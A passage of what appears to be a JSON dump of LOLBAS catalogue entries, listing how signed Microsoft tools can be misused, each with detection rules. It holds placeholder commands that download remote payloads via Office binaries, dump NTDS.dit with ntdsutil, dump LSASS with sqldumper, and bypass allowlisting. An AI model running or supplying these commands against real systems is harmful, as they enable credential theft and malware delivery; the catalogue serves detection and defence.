Spawn a new process via Microsoft.NodejsTools.PressAnyKey.exe.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\\\Community\\Common7\\IDE\\Extensions\\Microsoft\\NodeJsTools\\NodeJsTools\\Microsoft.NodejsTools.PressAnyKey.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_renamed_pressanykey.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_pressanykey_lolbin_execution.yml\nResources:\n - Link: https://twitter.com/mrd0x/status/1463526834918854661\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/Mpiexec.yml", "content": "---\nName: Mpiexec.exe\nDescription: Command-line tool for running Message Passing Interface (MPI) applications.\nAuthor: Avihay Eldad\nCreated: 2025-09-25\nCommands:\n - Command: mpiexec.exe {CMD}\n Description: Executes a command via MPI command-line tool.\n Usecase: Executes commands under a trusted, Microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files\\Microsoft MPI\\Bin\\mpiexec.exe\n - Path: C:\\Program Files (x86)\\Microsoft MPI\\Bin\\mpiexec.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/powershell/high-performance-computing/mpiexec\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Msaccess.yml", "content": "---\nName: MSAccess.exe\nDescription: Microsoft Office component\nAuthor: Nir Chako\nCreated: 2023-04-30\nCommands:\n - Command: MSAccess.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload (if it has the filename extension .mdb) and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\MSAccess.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office12\\MSAccess.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\MSAccess.exe\nDetection:\n - IOC: URL on a MSAccess command line\n - IOC: MSAccess making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Nir Chako\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OtherMSBinaries/Msdeploy.yml", "content": "---\nName: Msdeploy.exe\nDescription: Microsoft tool used to deploy Web Applications.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=\"{PATH_ABSOLUTE:.bat}\"\n Description: Launch .bat file via msdeploy.exe.\n Usecase: Local execution of batch file using msdeploy.exe.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server\n Tags:\n - Execute: CMD\n - Command: msdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=\"{PATH_ABSOLUTE:.bat}\"\n Description: Launch .bat file via msdeploy.exe.\n Usecase: Local execution of batch file using msdeploy.exe.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server\n Tags:\n - Execute: CMD\n - Command: msdeploy.exe -verb:sync -source:filePath={PATH_ABSOLUTE:.source.ext} -dest:filePath={PATH_ABSOLUTE:.dest.ext}\n Description: Copy file from source to destination.\n Usecase: Copy file.\n Category: Copy\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11, Windows Server\nFull_Path:\n - Path: C:\\Program Files\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe\n - Path: C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V2\\msdeploy.exe\n - Path: C:\\Program Files\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe\n - Path: C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe\n - Path: C:\\Program Files\\IIS\\Microsoft Web Deploy V4\\msdeploy.exe\n - Path: C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V4\\msdeploy.exe\n - Path: C:\\Program Files\\IIS\\Microsoft Web Deploy V5\\msdeploy.exe\n - Path: C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V5\\msdeploy.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_msdeploy.yml\nResources:\n - Link: https://twitter.com/pabraeken/status/995837734379032576\n - Link: https://twitter.com/pabraeken/status/999090532839313408\nAcknowledgement:\n - Person: Pierre-Alexandre Braeken\n Handle: '@pabraeken'\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/MsoHtmEd.yml", "content": "---\nName: MsoHtmEd.exe\nDescription: Microsoft Office component\nAuthor: Nir Chako\nCreated: 2022-07-24\nCommands:\n - Command: MsoHtmEd.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\MSOHTMED.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office12\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\MSOHTMED.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\MSOHTMED.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/19396788dbedc57249a46efed2bb1927abc376d4/rules/windows/process_creation/proc_creation_win_lolbin_msohtmed_download.yml\n - IOC: Suspicious Office application internet/network traffic\nAcknowledgement:\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OtherMSBinaries/Mspub.yml", "content": "---\nName: Mspub.exe\nDescription: Microsoft Publisher\nAuthor: Nir Chako\nCreated: 2022-08-02\nCommands:\n - Command: mspub.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\MSPUB.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\MSPUB.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\MSPUB.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\MSPUB.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\MSPUB.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\MSPUB.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml\n - IOC: Suspicious Office application internet/network traffic\nAcknowledgement:\n - Person: 'Nir Chako (Pentera)'\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OtherMSBinaries/Msxsl.yml", "content": "---\nName: msxsl.exe\nDescription: Command line utility used to perform XSL transformations.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: msxsl.exe {PATH:.xml} {PATH:.xsl}\n Description: Run COM Scriptlet code within the script.xsl file (local).\n Usecase: Local execution of script stored in XSL file.\n Category: Execute\n Privileges: User\n MitreID: T1220\n OperatingSystem: Windows\n Tags:\n - Execute: XSL\n - Command: msxsl.exe {PATH:.xml} {PATH:.xsl}\n Description: Run COM Scriptlet code within the script.xsl file (local).\n Usecase: Local execution of script stored in XSL file.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1220\n OperatingSystem: Windows\n Tags:\n - Execute: XSL\n - Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}\n Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).\n Usecase: Local execution of remote script stored in XSL script stored as an XML file.\n Category: Execute\n Privileges: User\n MitreID: T1220\n OperatingSystem: Windows\n Tags:\n - Execute: XSL\n - Execute: Remote\n - Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}\n Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).\n Usecase: Local execution of remote script stored in XSL script stored as an XML file.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1220\n OperatingSystem: Windows\n Tags:\n - Execute: XSL\n - Execute: Remote\n - Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}\n Description: Using remote XML and XSL files, save the transformed XML file to disk.\n Usecase: Download a file from the internet and save it to disk.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n - Command: msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name\n Description: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).\n Usecase: Download a file from the internet and save it to an NTFS Alternate Data Stream.\n Category: ADS\n Privileges: User\n MitreID: T1564\n OperatingSystem: Windows\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_msxsl_network.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\nResources:\n - Link: https://twitter.com/subTee/status/877616321747271680\n - Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker\n - Link: https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file\nAcknowledgement:\n - Person: Casey Smith\n Handle: '@subtee'\n - Person: Ronnie Salomonsen\n Handle: '@r0ns3n'\n" }, { "path": "yml/OtherMSBinaries/Nmcap.yml", "content": "---\nName: Nmcap.exe\nDescription: Command-line packet capture utility from Microsoft Network Monitor 3.x.\nAuthor: Avihay Eldad\nCreated: 2025-09-16\nCommands:\n - Command: nmcap.exe /network * /capture /file {PATH_ABSOLUTE:.cap}\n Description: |\n Start capture on all network adapters and save to specified .cap (circular) file.\n Optionally, one can add:\n - `/TerminateWhen /TimeAfter 30 seconds` to auto-terminate after a relative times (e.g. 30 seconds);\n - `/TerminateWhen /Time 04:52:00 AM 9/17/2025` to auto-terminate after a specific date/time;\n - `/TerminateWhen /KeyPress x` to terminate when a specific key is pressed.\n Usecase: Capture network traffic on windows to collect sensitive data.\n Category: Reconnaissance\n Privileges: Administrator\n MitreID: T1040\n OperatingSystem: Windows\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Network Monitor 3\\nmcap.exe\n - Path: C:\\Program Files (x86)\\Microsoft Network Monitor 3\\nmcap.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/network-monitor-3\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Ntdsutil.yml", "content": "---\nName: ntdsutil.exe\nDescription: Command line utility used to export Active Directory.\nAuthor: Tony Lambert\nCreated: 2020-01-10\nCommands:\n - Command: ntdsutil.exe \"ac i ntds\" \"ifm\" \"create full c:\\\" q q\n Description: Dump NTDS.dit into folder\n Usecase: Dumping of Active Directory NTDS.dit database\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.003\n OperatingSystem: Windows\nFull_Path:\n - Path: C:\\Windows\\System32\\ntdsutil.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_ntdsutil_usage.yml\n - Splunk: https://github.com/splunk/security_content/blob/2b87b26bdc2a84b65b1355ffbd5174bdbdb1879c/detections/endpoint/ntdsutil_export_ntds.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\n - IOC: ntdsutil.exe with command line including \"ifm\"\nResources:\n - Link: https://adsecurity.org/?p=2398#CreateIFM\nAcknowledgement:\n - Person: Sean Metcalf\n Handle: '@PyroTek3'\n" }, { "path": "yml/OtherMSBinaries/Ntsd.yml", "content": "---\nName: Ntsd.exe\nDescription: Symbolic Debugger for Windows.\nAuthor: Avihay Eldad\nCreated: 2025-07-16\nCommands:\n - Command: ntsd.exe -g {CMD}\n Description: Launches command through the debugging process; optionally add `-G` to exit the debugger automatically.\n Usecase: Executes an executable under a trusted microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\ntsd.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\ntsd.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\ntsd.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm64\\ntsd.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options\n - Link: https://strontic.github.io/xcyclopedia/library/ntsd.exe-629EA12D527237B9CD945AC44C2DE80D.html\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/OpenConsole.yml", "content": "---\nName: OpenConsole.exe\nDescription: Console Window host for Windows Terminal\nAuthor: Nasreddine Bencherchali\nCreated: 2022-06-17\nCommands:\n - Command: OpenConsole.exe {PATH:.exe}\n Description: Execute specified process with OpenConsole.exe as parent process\n Usecase: Use OpenConsole.exe as a proxy binary to evade defensive counter-measures\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os86\\OpenConsole.exe\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\Terminal\\ServiceHub\\os64\\OpenConsole.exe\n - Path: C:\\Program Files\\WindowsApps\\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe\\OpenConsole.exe\nDetection:\n - IOC: OpenConsole.exe spawning unexpected processes\n - Sigma: https://github.com/SigmaHQ/sigma/blob/9e0ef7251b075f15e7abafbbec16d3230c5fa477/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml\nResources:\n - Link: https://twitter.com/nas_bench/status/1537563834478645252\nAcknowledgement:\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n" }, { "path": "yml/OtherMSBinaries/Pixtool.yml", "content": "---\nName: Pixtool.exe\nDescription: Command line utility for taking and analyzing PIX GPU captures.\nAuthor: Avihay Eldad\nCreated: 2025-09-21\nCommands:\n - Command: pixtool.exe launch {PATH_ABSOLUTE:.exe}\n Description: Launches an executable via PIX command-line utility.\n Usecase: Executes an executable under a trusted, Microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Microsoft PIX\\pixtool.exe\n - Path: C:\\Program Files (x86)\\Microsoft PIX\\pixtool.exe\nResources:\n - Link: https://devblogs.microsoft.com/pix/pixtool/\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Powerpnt.yml", "content": "---\nName: Powerpnt.exe\nDescription: Microsoft Office binary.\nAuthor: 'Reegun J (OCBC Bank)'\nCreated: 2019-07-19\nCommands:\n - Command: Powerpnt.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\Powerpnt.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office12\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\Powerpnt.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\Powerpnt.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml\n - IOC: Suspicious Office application Internet/network traffic\nResources:\n - Link: https://twitter.com/reegun21/status/1150032506504151040\n - Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191\nAcknowledgement:\n - Person: Reegun J (OCBC Bank)\n Handle: '@reegun21'\n" }, { "path": "yml/OtherMSBinaries/Procdump.yml", "content": "---\nName: Procdump.exe\nDescription: SysInternals Memory Dump Tool\nAliases:\n - Alias: Procdump64.exe\nAuthor: 'Alfie Champion (@ajpc500)'\nCreated: 2020-10-14\nCommands:\n - Command: procdump.exe -md {PATH:.dll} explorer.exe\n Description: Loads the specified DLL where DLL is configured with a 'MiniDumpCallbackRoutine' exported function. Valid process must be provided as dump still created.\n Usecase: Performs execution of unsigned DLL.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher\n Tags:\n - Execute: DLL\n - Command: procdump.exe -md {PATH:.dll} foobar\n Description: Loads the specified DLL where configured with DLL_PROCESS_ATTACH execution, process argument can be arbitrary.\n Usecase: Performs execution of unsigned DLL.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 8.1 and higher, Windows Server 2012 and higher\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_renamed_sysinternals_procdump.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_sysinternals_procdump.yml\n - Splunk: https://github.com/splunk/security_content/blob/86a5b644a44240f01274c8b74d19a435c7dae66e/detections/endpoint/dump_lsass_via_procdump.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml\n - IOC: Process creation with given '-md' parameter\n - IOC: Anomalous child processes of procdump\n - IOC: Unsigned DLL load via procdump.exe or procdump64.exe\nResources:\n - Link: https://twitter.com/ajpc500/status/1448588362382778372?s=20\nAcknowledgement:\n - Person: Alfie Champion\n Handle: '@ajpc500'\n" }, { "path": "yml/OtherMSBinaries/ProtocolHandler.yml", "content": "---\nName: ProtocolHandler.exe\nDescription: Microsoft Office binary\nAuthor: Nir Chako\nCreated: 2022-07-24\nCommands:\n - Command: ProtocolHandler.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: \"It will open the specified URL in the default web browser, which (if the URL points to a file) will often result in the file being downloaded to the user's Downloads folder (without user interaction)\"\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\ProtocolHandler.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\ProtocolHandler.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\ProtocolHandler.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\ProtocolHandler.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\ProtocolHandler.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\ProtocolHandler.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\ProtocolHandler.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\ProtocolHandler.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml\n - IOC: Suspicious Office application Internet/network traffic\nAcknowledgement:\n - Person: Nir Chako (Pentera)\n Handle: '@C_h4ck_0'\n" }, { "path": "yml/OtherMSBinaries/Rcsi.yml", "content": "---\nName: rcsi.exe\nDescription: Non-Interactive command line inerface included with Visual Studio.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: rcsi.exe {PATH:.csx}\n Description: Use embedded C# within the csx script to execute the code.\n Usecase: Local execution of arbitrary C# code stored in local CSX file.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CSharp\n - Command: rcsi.exe {PATH:.csx}\n Description: Use embedded C# within the csx script to execute the code.\n Usecase: Local execution of arbitrary C# code stored in local CSX file.\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CSharp\nFull_Path:\n - Path: no default\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_process_network_connection.toml\n - Elastic: https://github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_network_connection_from_windows_binary.toml\n - BlockRule: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_csi_execution.yml\nResources:\n - Link: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/\nAcknowledgement:\n - Person: Matt Nelson\n Handle: '@enigma0x3'\n" }, { "path": "yml/OtherMSBinaries/Remote.yml", "content": "---\nName: Remote.exe\nDescription: Debugging tool included with Windows Debugging Tools\nAuthor: mr.d0x\nCreated: 2021-06-01\nCommands:\n - Command: Remote.exe /s {PATH:.exe} anythinghere\n Description: Spawns specified executable as a child process of remote.exe\n Usecase: Executes a process under a trusted Microsoft signed binary\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: Remote.exe /s {PATH:.exe} anythinghere\n Description: Spawns specified executable as a child process of remote.exe\n Usecase: Executes a process under a trusted Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: Remote.exe /s {PATH_SMB:.exe} anythinghere\n Description: Run a remote file\n Usecase: Executing a remote binary without saving file to disk\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Execute: Remote\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\remote.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\remote.exe\nDetection:\n - IOC: remote.exe process spawns\n - Sigma: https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml\nResources:\n - Link: https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/\nAcknowledgement:\n - Person: mr.d0x\n Handle: '@mrd0x'\n" }, { "path": "yml/OtherMSBinaries/Sqldumper.yml", "content": "---\nName: Sqldumper.exe\nDescription: Debugging utility included with Microsoft SQL.\nAuthor: Oddvar Moe\nCreated: 2018-05-25\nCommands:\n - Command: sqldumper.exe 464 0 0x0110\n Description: Dump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp).\n Usecase: Dump process using PID.\n Category: Dump\n Privileges: Administrator\n MitreID: T1003\n OperatingSystem: Windows\n - Command: sqldumper.exe 540 0 0x01100:40\n Description: 0x01100:40 flag will create a Mimikatz compatible dump file.\n Usecase: Dump LSASS.exe to Mimikatz compatible dump using PID.\n Category: Dump\n Privileges: Administrator\n MitreID: T1003.001\n OperatingSystem: Windows\nFull_Path:\n - Path: C:\\Program Files\\Microsoft SQL Server\\90\\Shared\\SQLDumper.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\vfs\\ProgramFilesX86\\Microsoft Analysis\\AS OLEDB\\140\\SQLDumper.exe\n - Path: C:\\Program Files\\Microsoft Power BI Desktop\\bin\\SqlDumper.exe\nDetection:\n - Sigma: 